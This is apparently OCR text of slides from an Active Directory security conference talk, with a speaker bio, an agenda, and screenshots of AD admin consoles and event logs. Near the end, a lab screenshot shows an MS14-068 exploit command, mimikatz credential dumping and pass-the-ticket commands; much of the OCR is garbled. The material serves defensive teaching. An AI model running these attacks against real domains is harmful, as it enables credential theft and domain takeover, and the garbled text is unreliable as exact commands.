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ABOUT

X FounderTrimarg a security company.

x Microsoft Certifled Master (MCM) Directory Services

x Microsoft MVP

x Speaker: Black HdB,SidesDEF CONDerbyConShakacon
X Security Consultant / Security Researcher

X Own & OperatéADSecurity.org
(Microsoft platform security info)
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AGENDA

x Key AD detalls security professionals should knov
X Most common AD Security Issues

X Active Directory security enhancements by OS

X Windows 10/2016 Security Features
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Differing Views of Active Directory
AAdministrator

ASecurity Professional
AAttacker

Complete picture is not well understood by any single one of them

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]

g8 '/ N N
i , 40 '/‘\\ i
{ 3 I .’l 4 ’ b .




) blackhat L=, 201 ;

AD Administrator/Engi ee

Active Directory Administrative Center

4 .

E /

] |

It

@;x_r Active Dlrectory Sites and Services e
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PS C:\> get-command -module activedirectory
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ommandType

Name

ALY (7N A CERRERNL ) e

Administrator: Windows Pow:

Add-ADCentralAccessPolicyMember

Add-ADComputersServiceAccount

Active Directory Administrative Center * Overview 4 | Sites 53 Add-ADDomaincontrollerpPasswordReplicationpP
jve Directory... < 4 || Inter-Site Transports ot Add-ADFineGrainedPasswordPolicySubject
0 ACTIVE DIRECTORY ADMINISTRATIVE CENTER Ip ot Add-ADGroupMember
w | 2 SMTP ot Add-ADPrincipalGroupMembership
L4 flocs : P L ot Add-ADResourcePropertyListMember
L | Subnets
> BB Default-First-Site-N B Active Directory Users and Computers
Kecess & H . .
4 = HQ File Action View Help
4 | Servers
b & ADSDCOT |J|—u| |E| : |E—=|J o
b 5 ADSDCO3 = | 75 LA S b | & @ 9]
ﬂ e . . I
RESET PASSWORD X il GLOBAL SEARCH 4 L-. LA & .'5|I:tI'-.I'E DIFEEtIIIF'f.I' I_IEEFS and Cﬂmput NEITIE
4 | Servers — , ] - '
> S ADSDCO2 | Saved Queries 4%, Account Operators
2 4 8 Miami = 5;1 lab.adsecurity.org B2, Administrators
- 2| Admin Groups ¥, Backup Operators
NS POWERSHELL HISTORY 2 File Action View \indow Help 0| EUIItn 1 ] 1
S ACTIVE UIrectary Uomains and Imis) o o . i) |- Computers Bft":erhﬁ':ate service DCOR
4|3 1ab adsecurity.or ’ . - P tﬁ:,Cryptu:ugraphic Operator:
3 : 87y 2 Group Policy Management lal o | I:Drljl:ll_l
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" Default Domain Policy

Domain PowerShelt Logging Policy
Full Auditing Policy
Accounts

AD Management

HEHMEEMEM
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Domain Controllers

Domain Management
ForeignSecurityPrincipals
Managed Service Accounts

| Service Accounts

B2, Distributed COM Users
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{23! Event Viewer (Local)
b ¢ Custom Views
4 s Windows Logs

=] Application
& | Security
£ Setup

&1 System

- { | Forwarded Events
= b L Applications and Service
_ 4 Subscriptions

Identity Theft Using Pass-the-Hash Attack

Administrator's hash was stolen from one of the computers previously logged into by Administrator
and used from WIN7CLIENT-PC.
Use Cases

22} Worm Outbreak Overview
(24 Verifying Rules: 102

(2] Active ChannelsCtrl +Alt+A v | &} Active Channek Demo Live

Security Number of events: 34 912

<\, Audit Success
<\, Audit Success
< Audit Success
:‘»_,_ Audit Success
& . Audit Success
Q . Audit Success
<\, Audit Success
<4 Audit Success
<\, Audit Success
i’»,‘ Audit Success
‘*'—'».,‘ Audit Success
<\, Audit Success
<\, Audit Success
<\, Audit Success
’:’--,_ Audit Success
A . Audit Success
<\ Audit Success
<\, Audit Success
'i':;,__ Audit Success
<L Audit Success

Date and Time

7/25/2016 3:50:59 AM

7/9/2016 7:30:53 AM
7/9/2016 7:30:53 AM
7/4/2016 4:24:34 PM
6/29/2016 8:01:53 PM
6/29/2016 8:01:53 PM
6/29/2016 7:58:54 PM
6/10/2016 8:24:15 PM
6/10/2016 &:23:21 PM
6/10/2016 8:23:21 PM
6/10/2016 8:18:40 PM
6/10/2016 &:17:45 PM
6/10/72016 8:17:45 PM
5/30/2016 8:16:43 PM
5/30/2016 4:13:23 AM
3/4/2016 5:40:03 PM
3/4/2016 5:40:03 PM
3/2/2016 9:21:54 AM
2/17/2016 1:44:51 PM

1/24/2016 11:26:49 AM
12/31/2015 6:34:17 AM

_[E) Connector Status
(3} Reviewed

Security-Auditing
Eventlog

Security-Auditing
Security-Auditing
Eventlog

Security-Auditing
Security-Auditing
Security-Auditing
Eventlog

Security-Auditing
Security-Auditing
Eventlog

Security-Auditing
Security-Auditing
Security-Auditing
Eventlog

Security-Auditing
Security-Auditing
Security-Auditing

{2} Current Event Sources | "
(43 Demo Live

Event ID

4616
1100
4516
4616
1100
4516
4616
4616
1100
4616
4516
1100
4616
4616
4616
1100
4616
4516
4616
4616
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Task Category

Security State Chanc
Service shutdown

Security State Chanc
Security State Chanc
Service shutdown

Security State Chanc
Security State Chanc
Security State Chanc
Service shutdown

Security State Chanc
Security State Chanc
Service shutdown

Security State Chanc
Security State Chanc
Security State Chanc
Service shutdown

Security State Chanc
Security State Chanc
Security State Chanc
Security State Chanc
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c:\Temp\pykek>ns14-068.py -u joeuser@lab.adsecurity.org -p Password99" -S S 1-5-21- 1581655573 3923512389 69664 1896-2636 -d adsdch?, 1ab.adsecurit
AttaCke (o] BisildinG AS-REQ for adSdc8? 1ah. adsecu ity org.. . None!
[+] Sending AS-REQ to adsdcO?.lab.adsecurity.org. .. Done!
[+] Receiving AS-REP from adsdc02.lab.adsecurity.org... Done!
_ [+] Parsing AS-REP from adsdcO2.lab.adsecurity.org... Done!
| [+] Building TGS-REQ for adsdcB2.lab.adsecurity.org... Done!
C:\Temp\PSAttack #> invoke-mimikal [+] Sending TGS-REQ to adsdc?.lab.adsecurity.org... Done!
{+} geceivin%ﬁgﬁgégE$ fromdagsggﬂf.éabdadsecurity.org..D Do?e!
+] Parsing T6S- rom adsdc02.lab.adsecurity.org... Done!
_;z"f"z;_ mimikatz 2.0 alpha (<) [, Creating ccache file 'T6T joeuser@lab.adsecurity.org.ccache' ... Done!
\ x B B
:: < / i /Benjamin peLpy ~gentfC: \Temp\pykek>ed ..

" ov ##' http://blog.gentilki ;=
s fc:\Temp>cd mimikatz

fc: \Temp\Himikatz>klist purge
{Current Logonld is 0:0x12déd1

%uthentication Id : @ ; 947799 (o] Deleting all tickets:

mimikatz(powershell) # sekurlsa::

Session : Interactive f .
B Srelen Ticket({s) purged!
Domain : Window Manage o w 4 . : P .
Logon Server ¢ (null) fc:\Tenp\Hinikatz>\minikatz “kerberos::ptc c:\temp\TGI_joeuser@lab.adsecurity.org.ccache” exit
Logon Time : 03/05/2016 21] \minikatz' is not recognized as an internal or external command,
S0) : 5-1-5-90-0-3 Joperable program or batch file.

msv

[99999993] Primary fc: \Temp\Himikatz>mimikatz "kerberos::ptc ¢:\temp\IG]_joeuser@lab.adsecurity.org.ccache” exit

Username : ADSOWKWIN1®@

: Eiﬁ;;” : ?g;i;;??fee é:ﬂﬁﬂgﬁ minikatz 2.8 alpha (x64) release "Kiwi en C* (Rug 25 2015 11:30:54)
¥ NTLM : 2118dessGec] ') \Twh g s
tspi:Af B \ / ##  Benjamin DELPY “gentilkiwi’ ( benjamin@gentilkiui.com )
wdigest : HH v #H hitp://blog.gentilkiwi.com/mimikatz (0e.eo)
* Username : ADSewkwINie| HiHHH' with 16 modules = = =/
* Domain : ADSECLAB®

* Password : (null)

kerberos : Inimikalz(commandline) # kerberos::ptc ¢:\temp\T6T_joeuser@lab.adsecurity.org.ccache
* Username : ADSOWKWIN1O




